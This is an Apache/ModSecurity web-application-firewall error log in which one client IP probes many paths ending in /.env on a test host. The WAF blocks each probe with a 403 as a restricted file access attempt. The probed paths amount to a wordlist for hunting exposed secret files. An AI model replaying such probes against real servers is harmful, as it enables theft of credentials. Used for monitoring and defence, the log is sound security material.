[Wed Feb 25 06:05:18.120295 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19nQAAAAE&quot;]
[Wed Feb 25 06:05:18.173791 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kodenames-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19ngAAAAE&quot;]
[Wed Feb 25 06:05:18.174063 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19ngAAAAE&quot;]
[Wed Feb 25 06:05:18.174236 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19ngAAAAE&quot;]
[Wed Feb 25 06:05:18.201393 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kolab-syncroton/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19nwAAAAE&quot;]
[Wed Feb 25 06:05:18.201665 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19nwAAAAE&quot;]
[Wed Feb 25 06:05:18.201833 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19nwAAAAE&quot;]
[Wed Feb 25 06:05:18.286324 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19oAAAAAE&quot;]
[Wed Feb 25 06:05:18.286646 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19oAAAAAE&quot;]
[Wed Feb 25 06:05:18.286875 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19oAAAAAE&quot;]
[Wed Feb 25 06:05:18.371585 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19oQAAAAE&quot;]
[Wed Feb 25 06:05:18.371884 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19oQAAAAE&quot;]
[Wed Feb 25 06:05:18.372058 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19oQAAAAE&quot;]
[Wed Feb 25 06:05:18.442320 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19owAAAAE&quot;]
[Wed Feb 25 06:05:18.442578 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19owAAAAE&quot;]
[Wed Feb 25 06:05:18.442743 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19owAAAAE&quot;]
[Wed Feb 25 06:05:18.480183 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main_user/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqZ_gAAAAY&quot;]
[Wed Feb 25 06:05:18.480429 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqZ_gAAAAY&quot;]
[Wed Feb 25 06:05:18.480593 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqZ_gAAAAY&quot;]
[Wed Feb 25 06:05:18.484709 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lambda/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19pAAAAAE&quot;]
[Wed Feb 25 06:05:18.484940 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19pAAAAAE&quot;]
[Wed Feb 25 06:05:18.485104 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19pAAAAAE&quot;]
[Wed Feb 25 06:05:18.506925 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /latest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19pQAAAAE&quot;]
[Wed Feb 25 06:05:18.507149 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19pQAAAAE&quot;]
[Wed Feb 25 06:05:18.507314 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19pQAAAAE&quot;]
[Wed Feb 25 06:05:18.554405 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /layout/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19pgAAAAE&quot;]
[Wed Feb 25 06:05:18.554630 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19pgAAAAE&quot;]
[Wed Feb 25 06:05:18.554783 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19pgAAAAE&quot;]
[Wed Feb 25 06:05:18.610871 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lcomernbootcamp/projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19pwAAAAE&quot;]
[Wed Feb 25 06:05:18.611130 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19pwAAAAE&quot;]
[Wed Feb 25 06:05:18.611304 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19pwAAAAE&quot;]
[Wed Feb 25 06:05:18.664016 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /leafer-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19qAAAAAE&quot;]
[Wed Feb 25 06:05:18.664256 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19qAAAAAE&quot;]
